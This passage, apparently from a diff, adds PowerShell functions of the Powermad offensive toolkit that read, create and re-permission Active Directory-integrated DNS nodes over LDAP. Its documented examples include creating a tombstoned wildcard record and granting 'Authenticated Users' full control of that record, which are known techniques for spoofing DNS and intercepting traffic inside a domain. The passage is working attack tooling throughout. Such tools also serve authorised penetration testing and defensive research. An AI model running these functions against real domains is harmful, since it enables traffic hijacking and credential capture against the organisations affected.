ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.InvokeGet($Attribute) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSNodeOwner +{ + <# + .SYNOPSIS + This function can returns the owner of an ADIDNS Node. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can returns the owner of an ADIDNS Node. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the owner of a node named test. + Get-ADIDNSNodeOwner -Node test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $output = $directory_entry.PsBase.ObjectSecurity.Owner + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSNodeTombstoned +{ + <# + .SYNOPSIS + This function can determine if a node has been tombstoned. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function checks the values of dnsTombstoned and dnsRecord in order to determine if a node if currently + tombstoned. + + .PARAMETER Attribute + The ADIDNS node attribute. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the dnsRecord attribute value of a node named test. + Get-ADIDNSNodeAttribute -Node test -Attribute dnsRecord + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $dnsTombstoned = $directory_entry.InvokeGet('dnsTombstoned') + $dnsRecord = $directory_entry.InvokeGet('dnsRecord') + } + catch + { + + if($_.Exception.Message -notlike '*Exception calling "InvokeGet" with "1" argument(s): "The specified directory service attribute or value does not exist.*' -and + $_.Exception.Message -notlike '*The following exception occurred while retrieving member "InvokeGet": "The specified directory service attribute or value does not exist.*') + { + Write-Output "[-] $($_.Exception.Message)" + $directory_entry.Close() + throw + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + $node_tombstoned = $false + + if($dnsTombstoned -and $dnsRecord) + { + + if($dnsRecord[0].GetType().name -eq [Byte]) + { + + if($dnsRecord.Count -ge 32 -and $dnsRecord[2] -eq 0) + { + $node_tombstoned = $true + } + + } + + } + + return $node_tombstoned +} + +function Get-ADIDNSPermission +{ + <# + .SYNOPSIS + This function gets a DACL of an ADIDNS node or zone. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to confirm that a user or group has the required permission + to modify an ADIDNS zone or node. + + .PARAMETER Credential + PSCredential object that will be used to enumerate the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Get the DACL for the default ADIDNS zone. + Get-ADIDNSPermission + + .EXAMPLE + Get the DACL for an ADIDNS node named test. + Get-ADIDNSPermission -Node test + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + else + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_entry_security = $directory_entry.psbase.ObjectSecurity + $directory_entry_DACL = $directory_entry_security.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) + $output=@() + + ForEach($ACE in $directory_entry_DACL) + { + $principal = "" + $principal_distingushed_name = "" + + try + { + $principal = $ACE.IdentityReference.Translate([System.Security.Principal.NTAccount]) + } + catch + { + + if($ACE.IdentityReference.AccountDomainSid) + { + + if($Credential) + { + $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/",$Credential.UserName,$credential.GetNetworkCredential().Password) + } + else + { + $directory_entry_principal = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/" + } + + if($directory_entry_principal.Properties.userPrincipalname) + { + $principal = $directory_entry_principal.Properties.userPrincipalname.Value + } + else + { + $principal = $directory_entry_principal.Properties.sAMAccountName.Value + $principal_distingushed_name = $directory_entry_principal.distinguishedName.Value + } + + if($directory_entry_principal.Path) + { + $directory_entry_principal.Close() + } + + } + + } + + $PS_object = New-Object PSObject + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "Principal" $principal + + if($principal_distingushed_name) + { + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "DistinguishedName" $principal_distingushed_name + } + + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IdentityReference" $ACE.IdentityReference + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ActiveDirectoryRights" $ACE.ActiveDirectoryRights + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceType" $ACE.InheritanceType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectType" $ACE.ObjectType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritedObjectType" $ACE.InheritedObjectType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "ObjectFlags" $ACE.ObjectFlags + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "AccessControlType" $ACE.AccessControlType + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "IsInherited" $ACE.IsInherited + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "InheritanceFlags" $ACE.InheritanceFlags + Add-Member -InputObject $PS_object -MemberType NoteProperty -Name "PropagationFlags" $ACE.PropagationFlags + $output += $PS_object + } + + } + catch + { + + if($_.Exception.Message -notlike "*Some or all identity references could not be translated.*") + { + Write-Output "[-] $($_.Exception.Message)" + } + + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function Get-ADIDNSZone +{ + <# + .SYNOPSIS + This function can return ADIDNS zones. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can return ADIDNS zones. The output format is a distinguished name. The distinguished name will + contain a partition value of either DomainDNSZones,ForestDNSZones, or System. The correct value can be inputed + to the Partition parameter for other Powermad ADIDNS functions. + + .PARAMETER Credential + PSCredential object that will be used to read the attribute. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Partition + (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. By default, this + function will loop through all three partitions. + + .PARAMETER Zone + The ADIDNS zone to serach for. + + .EXAMPLE + Get all ADIDNS zones. + Get-ADIDNSZone + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "", + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Partition) + { + + if(!$DistinguishedName) + { + $partition_list = @("DomainDNSZones","ForestDNSZones","System") + } + else + { + $partition_array = $DistinguishedName.Split(",") + $partition_list = @($partition_array[0].Substring(3)) + } + + } + else + { + $partition_list = @($Partition) + } + + ForEach($partition_entry in $partition_list) + { + Write-Verbose "[+] Partition = $partition_entry" + + if(!$DistinguishedName) + { + + if($partition_entry -eq 'System') + { + $distinguished_name = "CN=$partition_entry" + } + else + { + $distinguished_name = "DC=$partition_entry" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $directory_searcher = New-Object System.DirectoryServices.DirectorySearcher($directory_entry) + + if($Zone) + { + $directory_searcher.filter = "(&(objectClass=dnszone)(name=$Zone))" + } + else + { + $directory_searcher.filter = "(objectClass=dnszone)" + } + + $search_results = $directory_searcher.FindAll() + + for($i=0; $i -lt $search_results.Count; $i++) + { + $output += $search_results.Item($i).Properties.distinguishedname + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + } + + return $output +} + +function Grant-ADIDNSPermission +{ + <# + .SYNOPSIS + This function adds an ACE to an ADIDNS node or zone DACL. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + Users that create a new DNS node through LDAP or secure dynamic updates will have full + control access. This function can be used to provide additional accounts or groups access to the node. + Although this function will work on DNS zones, non-administrators will rarely have the ability + to modify an ADIDNS zone. + + .PARAMETER Access + Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete, + DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren, + ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty. + + .PARAMETER Credential + PSCredential object that will be used to modify the DACL. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS node or zone. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController + parameter. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Principal + The user or group that will be used for the ACE. + + .PARAMETER Type + Default = Allow: The ACE allow or deny access type. + + .PARAMETER Zone + The ADIDNS zone. + + .EXAMPLE + Add full access to a wildcard record for "Authenticated Users". + Grant-ADIDNSPermission -Node * -Principal "authenticated users" + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild", + "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren", + "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll", + [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow", + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][String]$Principal, + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + if(!$DomainController -or !$Domain -or !$Zone) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Node) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + else + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = $DistinguishedName + } + + if($Credential) + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password) + } + else + { + $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name" + } + + try + { + $NT_account = New-Object System.Security.Principal.NTAccount($Principal) + $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier]) + $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID + $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access + $access_control_type = [System.Security.AccessControl.AccessControlType]$Type + $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All" + $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance) + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + try + { + $directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE) + $directory_entry.psbase.CommitChanges() + + if($Node) + { + Write-Output "[+] ACE added for $Principal to $Node DACL" + } + else + { + Write-Output "[+] ACE added for $Principal to $Zone DACL" + } + + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + + if($directory_entry.Path) + { + $directory_entry.Close() + } + + return $output +} + +function New-ADIDNSNode +{ + <# + .SYNOPSIS + This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP + add request. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode. + + .PARAMETER Credential + PSCredential object that will be used to add the ADIDNS node. + + .PARAMETER Data + For most record types this will be the destination hostname or IP address. For TXT records this can be used + for data. + + .PARAMETER DistinguishedName + Distinguished name for the ADIDNS zone. Do not include the node name. + + .PARAMETER DNSRecord + dnsRecord attribute byte array. If not specified, New-DNSRecordArray will generate the array. See MS-DNSP for + details on the dnsRecord structure. + + .PARAMETER Domain + The targeted domain in DNS format. This parameter is mandatory on a non-domain attached system. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Forest + The targeted forest in DNS format. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Node + The ADIDNS node name. + + .PARAMETER Partition + Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored. + + .PARAMETER Port + SRV record port. + + .PARAMETER Preference + MX record preference. + + .PARAMETER Priority + SRV record priority. + + .PARAMETER Tombstone + Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that + allows it to be modified or fully tombstoned by any authenticated user. + + .PARAMETER SOASerialNumber + The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a + DNS server and querying an SOA record. + + .PARAMETER Static + Switch: Zeros out the timestamp to create a static record instead of a dynamic. + + .PARAMETER TTL + Default = 600: DNS record TTL. + + .PARAMETER Type + Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, and TXT. + + .PARAMETER Weight + SRV record weight. + + .PARAMETER Zone + The ADIDNS zone. This parameter is mandatory on a non-domain attached system. + + .EXAMPLE + Add a wildcard record to an ADIDNS zone and tombstones the node. + New-ADIDNSNode -Node * -Tombstone + + .EXAMPLE + Add a wildcard record to an ADIDNS zone from a non-domain attached system. + $credential = Get-Credential + New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential + + .LINK + https://github.com/Kevin-Robertson/Powermad + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][String]$Data, + [parameter(Mandatory=$false)][String]$DistinguishedName, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$DomainController, + [parameter(Mandatory=$false)][String]$Forest, + [parameter(Mandatory=$true)][String]$Node, + [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones", + [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A", + [parameter(Mandatory=$false)][String]$Zone, + [parameter(Mandatory=$false)][Byte[]]$DNSRecord, + [parameter(Mandatory=$false)][Int]$Preference, + [parameter(Mandatory=$false)][Int]$Priority, + [parameter(Mandatory=$false)][Int]$Weight, + [parameter(Mandatory=$false)][Int]$Port, + [parameter(Mandatory=$false)][Int]$TTL = 600, + [parameter(Mandatory=$false)][Int32]$SOASerialNumber, + [parameter(Mandatory=$false)][Switch]$Static, + [parameter(Mandatory=$false)][Switch]$Tombstone, + [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($invalid_parameter) + { + Write-Output "[-] $($invalid_parameter) is not a valid parameter" + throw + } + + $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") + + if(!$DomainController -or !$Domain -or !$Zone -or !$Forest) + { + + try + { + $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + if(!$DomainController) + { + $DomainController = $current_domain.PdcRoleOwner.Name + Write-Verbose "[+] Domain Controller = $DomainController" + } + + if(!$Domain) + { + $Domain = $current_domain.Name + Write-Verbose "[+] Domain = $Domain" + } + + if(!$Forest) + { + $Forest = $current_domain.Forest + Write-Verbose "[+] Forest = $Forest" + } + + if(!$Zone) + { + $Zone = $current_domain.Name + Write-Verbose "[+] ADIDNS Zone = $Zone" + } + + if(!$DistinguishedName) + { + + if($Partition -eq 'System') + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition" + } + else + { + $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition" + } + + $DC_array = $Domain.Split(".") + + ForEach($DC in $DC_array) + { + $distinguished_name += ",DC=$DC" + } + + Write-Verbose "[+] Distinguished Name = $distinguished_name" + } + else + { + $distinguished_name = "DC=$Node," + $DistinguishedName + } + + if(!$DNSRecord) + { + + try + { + + if($Static) + { + $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static + } + else + { + $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone + } + + Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + throw + } + + } + + $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) + + if($Credential) + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential()) + } + else + { + $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) + } + + $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration" + $forest_array = $Forest.Split(".") + + ForEach($DC in $forest_array) + { + $object_category += ",DC=$DC" + } + + try + { + $connection.SessionOptions.Sealing = $true + $connection.SessionOptions.Signing = $true + $connection.Bind() + $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest + $request.DistinguishedName = $distinguished_name + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null + + if($Tombstone) + { + $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null + } + + $connection.SendRequest($request) > $null + Write-Output "[+] ADIDNS node $Node added" + } + catch + { + Write-Output "[-] $($_.Exception.Message)" + } + +} + +function New-SOASerialNumberArray +{ + <# + .SYNOPSIS + This function gets the current SOA serial number for a DNS zone and increments it by the + set amount. + + Author: Kevin Robertson (@kevin_robertson) + License: BSD 3-Clause + + .DESCRIPTION + This function can be used to create a byte array which contains the correct SOA serial number for the + next record that will be created with New-DNSRecordArray. + + .PARAMETER DomainController + Domain controller to target. This parameter is mandatory on a non-domain attached system. + + .PARAMETER Zone + The DNS zone. + + .PARAMETER Increment + Default = 1: The number that will be added to the SOA serial number pulled from a DNS server. + + .PARAMETER SOASerialNumber + The current SOA 